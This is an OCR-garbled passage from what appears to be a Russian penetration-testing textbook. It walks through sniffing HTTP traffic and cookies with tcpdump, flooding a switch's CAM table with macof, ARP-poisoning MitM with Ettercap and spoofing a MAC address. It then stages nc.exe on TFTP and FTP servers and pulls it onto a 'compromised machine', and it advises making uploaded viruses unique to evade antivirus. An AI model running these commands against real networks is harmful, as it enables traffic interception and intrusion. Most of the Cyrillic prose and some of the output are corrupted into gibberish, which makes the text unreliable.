236733407, win 29200, options [mss 1460,sackOK,TS val 144778 ecr @,nop,wscale
7], length o

11:59:01.476078 IP 192.168.126.129.44238 > 138.201.8.34.80: Flags [S], seq
3332638159, win 29200, options [mss 1460,sackOK,TS val 144778 ecr ©,nop,wscale
7], length o

11:59:01.590025 IP 192.168.126.129.44236 > 138.201.8.34.80: Flags [.], ack
1793877134, win 29200, length ©

11:59:01.590665 IP 192.168.126.129.44236 > 138.201.8.34.80: Flags [.], seq
0:1460, ack 1, win 29200, length 1460: HTTP: GET /tagrevent=otherPage&check=tr
ue&_location=http%3A%2F%2Fwww.tez-tour.com%2F& referrer=&_ title=%DO%9F%D1%83
%D1%82%D0%B5%D0%B2%D0%BA%D0%B8%20%D0%B2%20%D0%93%D1%80%D0%B5%D1%86%D0%B8%D1%8E%
2C%20%D0%IA%DO%B8B%DO%BF %D1%80%2C%20%DO%IE%DO%I0%DO%AD%2C%20%DO%A

root@kali:~# tcpdump -n port 80 -r /root/tcpump.cap

reading from file /root/tcpump.cap, link-type EN1OMB (Ethernet)
11:58:57.800214 IP 192.168.126.129.40306 > 93.184.220.29.80: Flags [S], seq
3231467275, win 29200, options [mss 1460,sackOK,TS val 143859 ecr ©0,nop,wscale
7], length ©

11:58:57.902747 IP 192.168.126.129.40308 > 93.184.220.29.80: Flags [S], seq
3445184571, win 29200, options [mss 1460,sackOK,TS val 143884 ecr 9,nop,wscale
7], length ©
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11:58:57.909838 IP 93.184.220.29.80 > 192.168.126.129.40306: Flags [S.], seq
3702388, ack 3231467276, win 64240, options [mss 1460], length ©
11:58:57.909911 IP 192.168.126.129.40306 > 93.184.220.29.80: Flags [.], ack 1,
win 29200, length ©

11:58:57.910923 IP 192.168.126.129.40306 > 93.184.220.29.80: Flags [P.], seq
1:430, ack 1, win 29200, length 429: HTTP: POST / HTTP/1.1

11:58:57.911421 IP 192.168.126.129.40310 > 93.184.220.29.80: Flags [S], seq
1472664795, win 29200, options [mss 1460,sackOK,TS val 143886 ecr @,nop,wscale
7], length o

11:58:57.914620 IP 93.184.220.29.80 > 192.168.126.129.40306: Flags [.], ack
430, win 64240, length ©

[TocmoTpum, kakasg undopmanus 1nepegaBajach 10 CETU B MOMEHT ee 3axXBarTa.
B mannom ciryuae mbl yBuanm ee B HEX-chopmare, HO 910 He TIoMeriaet Ham J06bITh
HY>KHBIE IaHHBIE:

root@kali:~# tcpdump -nX -r /root/tcpump.cap

reading from file /root/tcpump.cap, link-type EN1OMB (Ethernet)
11:58:57.026917 IP 192.168.126.129.60358 > 192.168.126.2.53: 61944+ A? self-
repair.mozilla.org. (41)

0x0000: 4500 0045 7b58 4000 4011 417b cPa8 7e81 E..E{X@.@.A{..~.

0x0010: cPa8 7e02 ebc6t 0035 0031 baef f1f8 0100 ..~....5.1......

0x0020: 0001 00O 0O PO Bb73 656C 662d 7265 ......... self-re

0x0030: 7061 6972 076d 6f7a 696C 6Cc61 O36f 7267 pair.mozilla.org

11:58:59.459884 IP 192.168.126.129.39468 > 194.165.24.241.80: Flags [P.], seq
1:873, ack 1, win 29200, length 872: HTTP: GET / HTTP/1.1
0x0000: 4500 0390 3741 4000 4006 e566 cPal 7e81 E...7A@.@..f..~.
0x0010: c2a5 18f1 9a2c 0050 298 @4bc 2cl2 6d3b ..... y.Peoo,.m;
0x0020: 5018 7210 e0d2 0000 4745 5420 220 4854 P.r..... GET./.HT
0x0030: 5450 231 2e31 0dOa 486f 7374 3220 7777 TP/1.1..Host:.ww
0x0040: 772e 7465 7a2d 746f 7572 2e63 6f6d @dOa w.tez-tour.com..
0x0050: 5573 6572 2d41 6765 6e74 3a20 4d6f 7a69 User-Agent:.Mozi
0x0060: 6c6C 612f 352e 3020 2858 3131 3b20 4c69 1lla/5.0.(X11;.Li
0x0070: 6e75 7820 6936 3836 3b20 7276 3a34 352e nux.i686;.rv:45.
0x0080: 3029 2047 6563 6b6f 2f32 3031 3030 3130 0).Gecko/2010010
0x0090: 3120 4669 7265 666f 782f 3435 2e30 0dOa 1.Firefox/45.0..
0x00a0: 4163 6365 7074 3320 7465 7874 268 746d Accept:.text/htm
0x00b0: 6c2c 6170 706C 6963 6174 696f 6e2f 7868 1,application/xh
0x00c0: 746d 6c2b 786d 6c2c 6170 706C 6963 6174 tml+xml,applicat
0x00d0: 696f 6e2f 786d 6c3b 713d 302e 392c 2a2f ion/xml;q=0.9,*/
0x00e0: 2a3b 713d 302e 380d ©a4l 6363 6570 742d *;q=0.8..Accept-
0x00f0: 4c6l 6e67 7561 6765 3a20 656e 2d55 532c Language:.en-US,
0x0100: 656e 3b71 3d30 2e35 0@dOa 4163 6365 7074 en;q=0.5..Accept
0x0110: 2d45 6e63 6f64 696e 673a 2067 7a69 702c -Encoding:.gzip,
0x0120: 2064 6566 6c61 7465 0dOa 436f 6f6b 6965 .deflate..Cookie
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MpI HanmIM MHTEpeCyIolee Hac coeinHeHwe ¢ tez-tour.com. Ho TaHHBIX Bce paBHO
CJUIIKOM MHOTO. UTOObI yIIPOCTUTD 33/1a4y, BOCIIOIB3YEMCS BCTPOCHHBIM (DHIIETPOM
3arosioBkoB. Hac 6yayT unrepecoBats T0J1bKO naketsl ¢ ¢uiaramu PSH u ACK.

Ha puc. 10.7 BuzgnO, uTO MHTEpecyomue Hac ¢aarn A u P HaxondTcs B 4eTBEPTOi
U TSITON OBUIINH, 3HAYKT, B IBOMYHOM (hopmate ato OyeT Bbiruisizers Kak 00011000,
a B ZIeCATUYHOM — 24.

o] [T SR IR DO T | 1 R YRR T SO T |- FEN TN T O OO0 OR[N O
a Source Porl Destination Port

12| oOfiset | Reserved [o £ o8 195 5 £ Window
16 Checksum Urgent Pamer v
20 TCP Oplions {vanal.ie Ienglh, optional) l v

1
1?1d§5?lﬂq01?'¥dﬂlﬁ7ﬁqo1?1

I-l—m—h!—nm—-{—
Puc. 10.7. Ctpyktypa TCP-3aronoBka

2 I et

Bil 45678‘10

1

DuabTp NOJyYaeT CHEAYIONIII BU/L:
root@kali:~# tcpdump -A -n 'tcp[13] = 24' -r /root/tcpump.cap

11:59:00.459252 IP 192.168.126.129.49290 > 144.76.62.5.80: Flags [P.], seq
2487328431:2487328798, ack 1891911515, win 29200, length 367: HTTP: GET /webim/
button.php HTTP/1.1

E..... @.@.."..~..L>....P.A..p.G[P.r.:...GET /webim/button.php HTTP/1.1

Host: teztourcom.webim.ru

User-Agent: Mozilla/5.0 (X11; Linux i686; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: image/png,image/*;q=0.8,*/*;q=0.5

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://www.tez-tour.com/

Connection: keep-alive

If-None-Match: "2daeaa8b5f19f@bc209d976c02bd6acb51booboa"

11:59:00.563800 IP 144.76.62.5.80 > 192.168.126.129.49290: Flags [P.], seq
1:276, ack 367, win 64240, length 275: HTTP: HTTP/1.1 200 OK

[E008@oo0000000 L>...~..P..p.G[.A..P....... HTTP/1.1 2060 OK

Server: nginx

Date: Thu, 10 Nov 2016 16:58:59 GMT

Content-Type: image/gif

Content-Length: 43

Connection: keep-alive

X-Webim-Version: 8.14.142
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Etag: "2daeaa8b5f19f0bc209d976c02bd6acb51booboa™
X-Time: 0.000

EFER 0 0 000 c0ocooooloooocas 780088088808 oo B

11:59:00.839316 IP 192.168.126.129.54060 > 81.222.128.23.80: Flags [P.], seq
3867682114:3867682536, ack 387532615, win 29200, length 422: HTTP: GET /cgi-
bin/erle.cgi?sid=204602&bt=62&custom=153%3Duser_id&ph=1&rnd=346920&tail256=unkn
own HTTP/1.1

E..... @.@..9..~.Q.. .P..%B..GGP.r.-Y..GET /cgi-bin/erle.cgi?sid=204602&bt=62&
custom=153%3Duser 1d&ph 1&rnd=346920&tail256=unknown HTTP/1.1

Host: ad.adriver.ru

User-Agent: Mozilla/5.0 (X11; Linux i686; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://www.tez-tour.com/

Cookie: cid=AhKU-kniKHjQWpLwdDd1YpA; ar_g2=1; ar_go=1; 1d=1; ar_ord=1; ar_ya=1
Connection: keep-alive

MHudopmalus mpejctaBieHa Ternepb B 6ojiee MOHATHOM U yIOOHOM JIJIsl aHAIN3a
BHJIE, He TIpaBa JIn?

AKTUBHbIV NepexsBaT Tpaduka

Wrak, MBI paccMOTpesIN TaKyi0 MOJIETb CETH, T/ie Bech TpaduK He TOJTHKO UJET OT
TOYKHM OTTIPABKM /IO TOUKN Ha3HAYEHUSsI, HO U JIOXOJUT 0 Haiero nHTepdetica. Te-
Mepbh PACCMOTPUM CUTYAITNIO, B KOTOPOH aTaKyIONIUH IMOJIyYaeT OCTYI K OHOMY 13
MOPTOB cBUYA. B IaHHON CUTYyaIluy HEBAXKHO, MOJIYYeH JIK JIOCTYI K CAMOMY CBUYY
WJIA 9TO ceTeBast PO3eTKa, KOTOPas IHOAKI0YeHa K CeTeBOMY 000PYA0BAHUIO U3 [PY-
roro rnometienus. Bakuo juinb To, 4TO Ha ceTeBoi MHTEP(EC TPUXOIST TOJIbKO Te
MTaKeThl, KOTOPBIE OKHBI PUXOAUTD, N HUKAKWe MHBIE.

O/tHUM U3 CaMBIX TIOTIYJISIPHBIX CIIOCOG0B 0GONUTH TAKYIO 3all[UTy ¥ 3ACTABUTH CBUY
paboTaTh Kak Xab, 4TO TO3BOJISIET MEPEXBATHIBATH BECh CETEBON TPADUK, SBJISIETCSI
nepenosaerne CAM-rabsmirsl. B mo6om kommyTaTope cyiectByeT Tabimina CAM,
KOTOpas cBsA3biBaeT Kaxkablii MAC-ajmpec ¢ KOHKPETHBIM TOPTOM. KoMMyTaTops
UCTTIOIB3YIOT 9Ty TabJIHUILY [I7IsT TIepeHanpaBIeHus BXOAANNX MaKeTOB Ha COOTBET-
CTBYIONIHUI TIOPT.

B atake Ha niepenosaenue tabiuipl CAM artakyoniuii OTIpaBIIseT Ha KOMMYTATOP
6oubiioe xkosmuectBo Ethernet-(hpeiiMoB, KaxkIbIil 13 KOTOPBIX UMEET YHUKAIbHBII
MAC-anpec. Ilenb aToro npoiecca — 3aoJHuth Beio namstb B CAM-tabuuie
KOMMYTaTopa.

Korza tabina CAM 3anoiHsieTcsi, KOMMYTaTOP [EPEXOUT B COCTOSIHUE «3aI10JI-
HeHUst BceM» it «pacchliku Beems (flooding mode) n Haumnaer ornpasisits Bee
BXOJISIIIUE TTAKETHI HA BCE ITOPTHI, UTO CYIIECTBEHHO YMEHbIaeT a(PEeKTHBHOCTD CETH
U MOJKET MTPUBECTH K 3aMEJITIEHIIO UITH IaKe K OTKA3y B 0OCTyKIBAHWH.
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Heo6xoanumMo yuecTb, 4To nepernoHerne TabJuIbl — IPOIECC HePEPhIBHBIIM, Kak
TOJIBKO OH TIPEKPATUTCS, TO Yepe3 HeGOIBIIoN mpoMeskyToK Bpemenn CAM-Tabmia
GyJIeT OTYHIIEHA U KOMMYTATOP BEPHETCS K HOPMATIBHOMY PEKUMY (DYHKITMOHUPO-
BaHUA.

Jlis npoBezieHus ataku, HarpasaeHHol Ha 1epenosnenne CAM-rtabiunnr MAC-
ajipecaMi, I0CTATOYHO O/THON KOMaH/IbI:

root@kali:~# macof

b2:f9:9e:6b:59:b4 69:69:f4:1:d:7d ©.0.0.0.17507 > 0.0.0.0.49697: S
1870663496:1870663496(0) win 512

6b:df:e5:9:a8:1e ¢9:9¢c:3d:4b:21:d0 0.0.0.0.14408 > 0.0.0.0.45120: S
2106903632:2106903632(0) win 512

8:80:82:19:60:ec d4:f7:fb:14:47:f5 0.0.0.0.13022 > 0.0.0.0.2854: S
708293972:708293972(0) win 512

53:d4:80:73:dc:c4 d2:dd:5b:2d:32:b3 0.0.0.0.5752 > 0.0.0.0.1613: S
1815033319:1815033319(0) win 512

c3:30:33:5b:67:8b 58:d6:8f:5d:fd:63 0.0.0.0.975 > 0.0.0.0.37840: S
1285237419:1285237419(0) win 512

81:86:99:13:d2:10 8f:37:86:2:ea:a6 0.0.0.0.30380 > 0.0.0.0.47351: S
447067260:447067260(0) win 512

ee:df:dd:2f:f5:96 8b:62:89:38:fa:1a 0.0.0.0.31470 > 0.0.0.0.57504: S
1107960129:1107960129(0) win 512

1f:d6:cl:1f:42:df 2d:ba:3e:6e:ca:29 0.0.0.0.28879 > 0.0.0.0.18191: S
753232608:753232608(0) win 512

1a:93:29:1:e1:31 2a:la:bd:5e:d8:ce 0.0.0.0.4821 > 0.0.0.0.53112: S
437165546:437165546(0) win 512

Eue ogun crmoco6 — «orpasienue> ARP. ARP-Tabiauipl Ha MapuipyTu3aTopax
(¥ He TOJIbKO) UCIIOJIB3YIOTCs i coroctasienus [P- u MAC-anpecos, 11o3BoJisis
cBUYaM BbIOUpaTh Haubosiee ahheKTUBHBIN 1Ty Th TPOX0XKAeHUsT Tpaduka. [Jist Hac
Ba)KHO, YTO IMINPOKOBEIIATEIbHBIE TTAKETHI, KOTOPBIE NCTIONb3YIOTCS JIST TIOCTPOEHNUS
9TO# TabIUIBI, HUKOMM 00pa3oM He (DUIBTPYIOTCS. ATaKYIOMIN, UCTIONB3YS 9Ty
0COBEHHOCTD, MOJKET PACCHLIATE TT0 CETH MOJIETbHBIE JaHHBIE U MTPEBPATUTD CBOI
KOMIIbIoTEp B Xa0.

Paccmorpum mpumep ¢ Ettercap. Ettercap — 3T0o MOMIHBIIT MHOTO3aIaYHBIA UHCTPY-
MEHT JIJIS TlepexBaTa TpapuKa B JOKAIBLHOM CeTH. DTa YTUJINTA C OTKPBITHIM UCXOJI-
HBIM KoztoM, foctynHas B Kali Linux, nmpeararaer psia GyHKIMHA, OpPUEHTHPOBAHHBIX
Ha HCcJle/loBaHKe, OTCHIeKMBaHNe U aHAJIN3 ceTeBOro Tpaduka, a Takke BbIIIOJIHEHNE
TaK Ha3bIBAEMBIX aTaK «uesoBek rnocepegunes» (Man-in-the-Middle, wiau MitM).

[Tepeuncanm HekoTopbie Bo3MoxkHOCTH Ettercap:
® oTciexuBaHue ceteBoro Tpaduka: Ettercap MoXkeT mepexBaTbIBaTh U aHATU3U-
poBarb Tpaduk;

® araku «4eJoBek mocepenune»: Ettercap obmamaet BCTPOCHHBIMU (DYHKITHSIMU
JUist BeInosiHeHust atak MitM, Briodast apr-ciydunr (ARP spoofing), koropbiit
MI03BOJISIET 3JI0YMBIIIIEHHUKY TIEPEHANPABIIATh TPADUK MEXKIY IABYMsI YCTPOii-
CTBaMU 4Yepe3 CBOIO MAITUHY;
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e cuuddunr naposeii u ceccuii: Ettercap MojkeT UCII0JIb30BATLCS J1J14 TlepexBarta
U IEKOIMPOBAHMS 11apoJiel U IaHHBIX CECCHH, TlIepe/laBaeMbIX 110 CeTH;

e (GbusbTpanusa 1 nHbEKINA akeToB: Ettercap mosBosigeT U3MEHATH MaKeThI Ha
JIETY, YTO MOJKET OBITH MCIIOJIB30BAHO JIJIST BHEPEHUSI BPEIOHOCHOTO KOJIA WJIH
NIPYTUX JTAHHBIX B CETEBOI TpaduK.

[IpoBenem kiaccuueckyio ataky MitM. 3amyckaem Ettercap n HauMHaeM «CJIyIIaTh»
ceTb — JUIsI 3TOTO He 3a0y/(bTe 3AIYCTUTH IIPOIIECC, HAXKAB HA 3€JIEHYIO TaJ0UYKYy
B 1ipaBOM BepxHeM yriry (puc. 10.8).

e Ettercap = - [=] ¥
0831 i
Setup
Sniffing at startup (D)
Primary inferface etho -

Bridged interface  Local Loophack =

ercap

Puc. 10.8. Hauano npocnylumsaHms

[Tporpamma Havasia cCOGUPATH JAHHBIE, 1 MBI MOKEM TIOCMOTPETH MH(MOPMAITUIO O TOM,
KaKue akTUBHBIE XOCTBI HaxoaTcs B Haireii cetu (puc. 10.9), HaxkaB Ha KHOTIKY Scan

for hosts.

&

[>]

1]
|
O
X

Ettercap
e ILI L= 08.3.1 (EE)

Host List B
IP Address MAC Address Description
192.168.91.1  005056:C0:00:08
192.168.91.2  00:50:56:FF:1D:3F
152.168.91.130 00:0C:29:15:C6:CD
192.168.91.131 00:0C:29:2B:51:70
152.166.91.254 00:50:56:C6:70:71

Delete Host Add to Target 1 Add to Target 2
ZLBZKNOWM SBIVICES  ~ — ~ ~ ~ ~ ~ ~ ~ oo
Lua: no scripts were specified, not starting up!
Starting Uniticd snithing...

Randomizing 255 hosts for scanning...
Scanning the whole nctmask for 255 hosts...
S hosts added to the hosts list...

Puc. 10.9. [locTynHble XOCTbI
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Ettercap moazsep;kuBaeT cjeyiomnne THITBI aTak:

ARP Spoofing umn ARP Poisoning. Haubosee pacipoctpatnetrtast (hopMa aTaku.
OcHoBaHa Ha OTIIpaBKe B ceTb noaeabubix ARP-coobmenuii ga cssasu MAC-
ajipeca atakyioiiero ¢ IP-agpecom spyroro ycTpoiicTsa. ITO MO3BOJISIET TIepe-
XBaTUTH TPAPUK, TpeIHa3HAUYECHHBI JIJIST HETO.

DHCP Spoofing. B sroit atake ocymiecrsisiercst nogmera DHCP-cepBepa
1 TIpe/IocTaBIeHNe JOKHBIX HacTpoek [P n7s apyrux ycTpoiicTs.

ICMP Redirection. Ocnosana Ha ncnosbzoanuu ICMP-coobiiennii, 3actaBisieT
JIPyTHE YCTPONCTBA B CETU OTIIPABJISATH CBOH TpaduK uepes yCTPOICTBO, TTOJAKOH-
TPOJILHOE aTaKyIOIIEMY.

Port Stealing. Texuuka nepexsata Tpaduka B cetsix Ethernet, npu KoTopoit
atakyfomuil noaaensiBaeT MAC-apec 11e71eBoro ycTpoiicTBa, 3aCTaBIsIsl KOM-
MYTaTOp TIepEeHATPABJISITh MTPeIHABHAYEHHBIH JIJISI 9TOr0 YCTPOiicTBa TpahuK Ha
MOPT XaKepa.

Mp1 peasni3yeM TIepBBIN TUTT aTaKW M MTepexXBaTUM TpaduK, KOTOPBIN MepeaeTcs
MeJKy IByMs cepBepamu B Hatell cetu. J{ist atoro Beiiesinm [P mepBoro cepsepa
1 OIpeJie]InM ero 1epBoii 1esbio Add to Target 1, To ke mpojiesiaeM co BTOPbIM cepBe-
pom, ciienaB ero 1esbio Homep asa (puc. 10.10).

e |E| = Ettercap

L2

(]

I
[
3
X

0.8.2.1 (EB)

Host List B

IP Address MAC Address Description
192.160.91.1  00:50:56:C0:00:00
192.168.91.2 0U50:50:FE:LD:3F
192.168.91.130 00:0C:29:15:C6:CD
192.168.91.131 00:0C:29:2B:51:70
192.168.91.254 00:50:56:E6:70:71

Delete Host Add to Target 1 [ \, Add to Target 2

2 NOSISa0Qed o menostisnst... -~~~ -~~~ """ T oo oo oo oo T e e e e e e e
DHCP: [00:0C:29:2B:51:70] REQUEST 192.168.91.131

DHCP: [192.168.91.254] ACK : 192.168.91.131 255.255.255.0 GW 192.168.91.2 DNS 192.168.91.2 "localdomain”

DHCP: [00:0C:29:15:C6:CD] REQUEST 192.168.91.130

DHCP: [192.166.91.254] ACK : 192.168.91.130 255.255.255.0 GW 152.168.91.2 DNS 192.168.91.2 "localdomain”

Host 192.168.91.130 added to TARGET1

HOSt 192.168.91.131 added 10 TARGET2

Puc. 10.10. Buibop uenelt ans ataku
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HauHewm ataky, BbIGpaB B BepxHeM MeHio Mitm » ARP poisoning (puc. 10.11).

e I— - Ettercap |_| = - 0 .\:
" -l 0.0.3.1 (CD) =0 =
Host List B
MITM

IP Address MAC Address Description ARP poisoring...
192.168.91.1 00:50:56:C0:00:08 NDP poisoning
192.168.91.2 00:50:56:FE:1D:3F ICMP redirect...
152.168.91.130 00:0C:29:15:C6:CD Port stealing...
192.168.91.121 00:0C:29:2B:51:70 DHCP spoofing...

Stop MITM attack(s)
SSL Intercept

192.168.91.254 00:50:56:E6:70:71

Dclete Host Add to Target 1 Add to Target 2
DHCP: [00:0C:29:2B:51:70] REQULCST 192.166.91.131
DHCP: [192.168.91.254] ACK : 192.168.591.131 255.255.255.0 GW 192.168.91.2 DNS 192.166.91.2 "localdomain”
DHCP: [D0:0C:29:15:C6:C0) REQUEST 192.168.91.130
DHCP: [192.168.91.254] ACK : 192.168.91.130 255.255.255.0 GW 192.168.91.2 DNS 192.168.91.2 "localdomain®
Host 192.168.91.130 added to TARGFET1
Host 192.168.91.131 added to TARGFT?

Puc. 10.11. Boibop T1na ataku

B cayyae ycnemHo# aTaku BBl CMOKETE BUAETH BeCh TpadWK, KOTOPBIN MPOXOIUT
MEXIy IBYMs cepBepamMu. Ecii TouHee, TO MeKY TpeMsl — TIePBbIM, BTOPBIM 1 Ba-
TIIHM.

Heob6xoauMo ynoManyTs emie 00 ool mpodiieMe. YUUTHIBalTe, YTO AaKe €CJIU BbL
1 TIOJIYYUTE JIOCTYTI K OJTHOMY U3 CETEBBIX IOPTOB, CKOPEE BCET0, BCE PABHO HE CMOKe-
Te TPOHUKHYTD B CETH, BEJ/Ib BCE COBPEMEHHBIE KOMMYTATOPBI MOTYT KOHTPOJUPOBAThH
noctyn o MAC-anpecam. OiHako y Bac BCer/ia OCTaeTcsl BO3MOKHOCTh TIOMEHSITh
MAC-azapec cBOero KOMIIboTepa cJeyIOuM 00pasoMm:

root@kali:~# ifconfig eth® down

root@kali:~# macchanger -r etho

Current MAC: 00:0c:29:9a:54:a5 (VMware, Inc.)
Permanent MAC: ©0:0c:29:9a:54:a5 (VMware, Inc.)
New MAC: 6a:66:b0:89:af:63 (unknown)
root@kali:~# ifconfig eth® up
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YacTo mocJie TPOBe/ICHUS YCIEITHOM aTaky Ha 1eJIeBYI0 CUCTEMY TTOSBIISETCS He-
06X0INMOCTD 3arPY3UTh HA Hee OJIMH WU HECKOJIBKO (hailyioB. ITO MOKET OBITh BCe
YTO YTOAHO: BUPYC, CHU(MhED, KIaBUATYPHBIH MTTUOH WU TEeJUI-KOJL IS 9KCTLIya-
TalMU OYEPETHOM YA3BUMOCTH (IIEJIT — JOCTYI K 000JI0UKe YAATEHHON CHCTEMBI).
He Bcerma aTo 6bIBaET MPOCTO, HO ¥ B JAHHON TJIaBE MBI PACCMOTPUM HECKOJIBKO
BapUAHTOB JIOCTUKEHUS 9TOM 11€JIH.

ITpeskiie YeM MBI HAUHEM, HY;KHO YIIOMSIHYTh 00 OJTHOM CEPbE3HOM TPETSITCTBUN Ha
3TOM TyTH — aHTUBHpYyce. B moboit Gosee-MeHee cephe3Hoi OpraHu3aIiy OH 1o
YMOJTYAHUIO YCTAHABINBAETCS HA BCE KOMITBIOTEPHI U cepBepbl. OCHOBHOI MPIHIINT
paboThl aHTUBUPYCOB — cpaBHeHHe HudPoBoil moanucu daiina ¢ Toii, 4To cogep-
JKUTCS B UX Gase aHHBIX, U eCJIM COBIajeHne Gyaer HaiieHo, To daiia apromMaTu-
yecku ygausiercst. Ho 910 Juiib on0eIbl, XysKe, eCIM aHTUBUPYChI YIIPABJISTIOTCSI
I[eHTPAJN30BAHHO, TOT/IA A/IMUHUCTPATOP CETU CPasy ke MOIYIUT YBeJOMICHUE
0 TIPOUCXOMATIEN aTake Ha crcTeMy. ECTh /1Ba BapuanTa 000#TH TaKOH BUJT 3aTIUTHI.
[TepBBbIii: ecim BBI PENTIIN 3aTPY3UTh BUPYC, TO JIyYIIIe, UTOOBI OH OBLT YHUKATHHBIM,
a He cO3/laH OJHUM U3 GECUMCICHHBIX TeHEPATOPOB. BTOPOIi: NCmoab30BaTh HA/O
JIeTasIbHble UHCTPYMEHTBI, KOTOPBIE He BbI30BYT MOJ03PEHUS Y AHTUBHUPYCA.

Bepremcs k iepeziade aiision. [Tocsie TOTo Kak BbI TTOJTYIUIHN OCTYI K KOMaHAHOM
CTPOKE aTaKOBAHHOI CHCTEMBI, BbI TIEPBBIM JI€JIOM CTOJKHETECh C HEXBATKOM HEOO-
XO/IMMBIX NHCTPYMEHTOB /I YIIPaBJIEHUS aTaKO U ee MPO/I0JIKEHUS.

TFTP

ITO TPUBUAJIBHBIN [IPOTOKOJ /i nepegaunt (ailioB, OH IIPOCT B peau3aliuu, He
MOJI/IEPKUBAET ayTEHTU(MUKAIMIO U OCHOBAH HA TpaHCOpTHOM 1potokosie UDP.
FTP paGoraer B UHTEPAKTUBHOM PEKUME, JIJIsI €T0 UCIIOJIb30BaHUS TPEOYIOTCS
olpezeseHnble JefcTBUA CO CTOPOHBLI 110/1b30BATeEJI, HO, K COYKAJIEHUIO, TAKON
PEKUM 4acTO HeOCTYIIeH Cpa3y ke 110CJIe B3JIOMa CUCTEMBI, [I09TOMY I104BJISETCS
HeoOXxoauMocTb ucnoab3osath TEFTP. OH Xopoll TeM, 4To ¢ HUM MOKHO paboTaTh
He B MHTEPAKTUBHOM pPeKIMe.

OcuoBubiM HefoctatkoM TFTP saBiisiercst To, 4TO 110 YMOJTUAHUIO OH HE YCTaHOBJIEH
Ha KOMITbtoTepax moj yrpasicaueM Windows 7 u 6oJiee HOBBIX BEPCHIA, a TAKKe TO,
9TO €ro YacTo GIOKUPYIOT Ha YPOBHE (haiiepBoia, 4To, 6€3yCIOBHO, YCIOKHSIET HATITY
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JlesaTeIbHOCTD. 1 Bee Jke aToT cnocob nepemaun (baﬁHOB HE IToTEepAJI cBoOeT aKTyaJlb-
HOCTH U 3HATb O HEM HeO6XOlII/IMO.

Yrobol ckavyath daiin ¢ TFTP-cepsepa, Heobxoammo ero co3aars. B Kali Linux ectp
BCTPOEHHBIN cepBep atftpd, samycrum ero Ha mopre 69 U pasmMecTuM B AUPEKTOPUN
netcat:

root@kali:~# mkdir /root/tftp
root@kali:~# atftpd --daemon -port 69 /root/tftp/
root@kali:~# cp /usr/share/windows-binaries/nc.exe /root/tftp/

Tenepn 3arpy3um netcat Ha CKOMIIPOMETUPOBAHHYIO MAIlIUHY:

C:\Users\test>tftp -i 192.168.225.128 get nc.exe
Transfer successful: 59392 bytes in 16 second(s), 3712 bytes/s

FTP

FTP — npotoko nepegaun JaHHbIX, pabortaionuii Ha ocHose TCP, KoTopblil siB-
asiercst bosiee 6e30MacHBIM 1 (QYHKITMOHAIBHBIM 110 cpaBHeHuto ¢ TFTP. Ero mpe-
MUMYTIIECTBOM SIBJISIETCS TO, YTO KJAWEHT JJIsT PAGOTHI C HUM MO YMOTIAHIIO BKIIOUEH
B OC Windows. Kak 1 B ipe/ibIIyII[eM TIprMepe, CHavajia CKOHGUIYPUPYEeM Ha CBOE
MaIlluHe CepBep, TOIEPKUBAIOTININ TaHHBIH MPOTOKOJ. Tak Kak aToT cepBuc 0bra-
naet GoJiee IMUPOKON (HYHKIMOHATLHOCTHIO, HTO 3aMET HEMHOTO OOJIbIIIE BPEMEHH.

root@kali:~# apt-get install pure-ftpd

Reading package lists... Done

Building dependency tree

Reading state information... Done

The following additional packages will be installed:
pure-ftpd-common

The following NEW packages will be installed:

pure-ftpd pure-ftpd-common

0 upgraded, 2 newly installed, © to remove and © not upgraded.

update-rc.d: As per Kali policy, pure-ftpd init script is left disabled.
insserv: warning: current start runlevel(s) (empty) of script "pure-ftpd'
overrides LSB defaults (2 3 4 5).

insserv: warning: current stop runlevel(s) (0 1 2 3 4 5 6) of script “pure-
ftpd' overrides LSB defaults (© 1 6).

Processing triggers for systemd (231-9)

root@kali:~# groupadd ftpgroup

root@kali:~# useradd -g ftpgroup -d /dev/null -s /etc ftpuser
root@kali:~# mkdir /home/ftpusers

root@kali:~# mkdir /home/ftpusers/joe

root@kali:~# pure-pw useradd joe -u ftpuser -d /home/ftpusers/joe
Password: 123456

Enter it again: 123456

root@kali:~# pure-pw mkdb

root@kali:~# 1n -s /etc/pure-ftpd/conf/PureDB /etc/pure-ftpd/auth/PureDB
root@kali:~# chown -hR ftpuser:ftpgroup /home/ftpusers/
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root@kali:~# systemctl restart pure-ftpd
root@kali:~# cp /usr/share/windows-binaries/nc.exe /home/ftpusers/joe/
root@kali:~# ftp localhost

Connected to localhost.

220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------
220-You are user number 1 of 50 allowed.

220-Local time is now ©7:54. Server port: 21.

220-This is a private system - No anonymous login

220 You will be disconnected after 15 minutes of inactivity.
Name (localhost:root): joe

331 User joe OK. Password required

Password:123456

230 OK. Current directory is /

Remote system type is UNIX.

Using binary mode to transfer files.

ftp> bye

221-Goodbye. You uploaded © and downloaded © kbytes.

YkazaHHas MOCJIe[0BATEIBHOCTh KOMAH 00eCIeYBaeT YCTAaHOBKY U HACTPOMKY
cepBepa FTP na Kali Linux ¢ ucnosnb3oBanuem Pure-FTPd. Huske npuBoautcst
KPATKOE OTIMCAHIE KOMAH]T:

apt-get install pure-ftpd — ycranoska Pure-FTPd;
groupadd ftpgroup — cosjaHue HOBOII TPYIIIIbI ¢ HasBaHueM ftpgroup;

useradd -g ftpgroup -d /dev/null -s /etc ftpuser — co3manue HOBOTO MOJIb-
3oBareid ¢ uMeHeM ftpuser, mobasiseM ero B rpymniy ftpgroup. B kauecrtse 1o-
MalllHEeTo KaTajora ykasbiBaeM /dev/null;

mkdir /home/ftpusers u mkdir /home/ftpusers/joe — co3aHrie HOBbIX KaTaJIO-
roB. IlepBas cosgaet kartasor aisa FTP-nonb3oBaresieil, a Bropast co3ziaeT moj-
KaTaJIoT JIJIsT TI0JIb30BaTe sl TI0 MMEHU Joe;

pure-pw useradd joe -u ftpuser -d /home/ftpusers/joe — mobaBieHue HOBO-
ro nosb3osatesis B Pure-FTPd ¢ umenem Joe, IipaBaMu CUCTEMHOTO T10J1b30BaTe ISt
ftpuser u romanrauM katasorom B /home/ftpusers/joe;

pure-pw mkdb — co3zaHue HOBOI 6asbl anHbIX HapoJeii aist Pure-FTPd;

1n -s /etc/pure-ftpd/conf/PureDB /etc/pure-ftpd/auth/PureDB — co3manue
CHMBOJIMYECKOI CChLIKU Ha KOH(UIypanoHHbiii (aita PureDB B katanore auth;

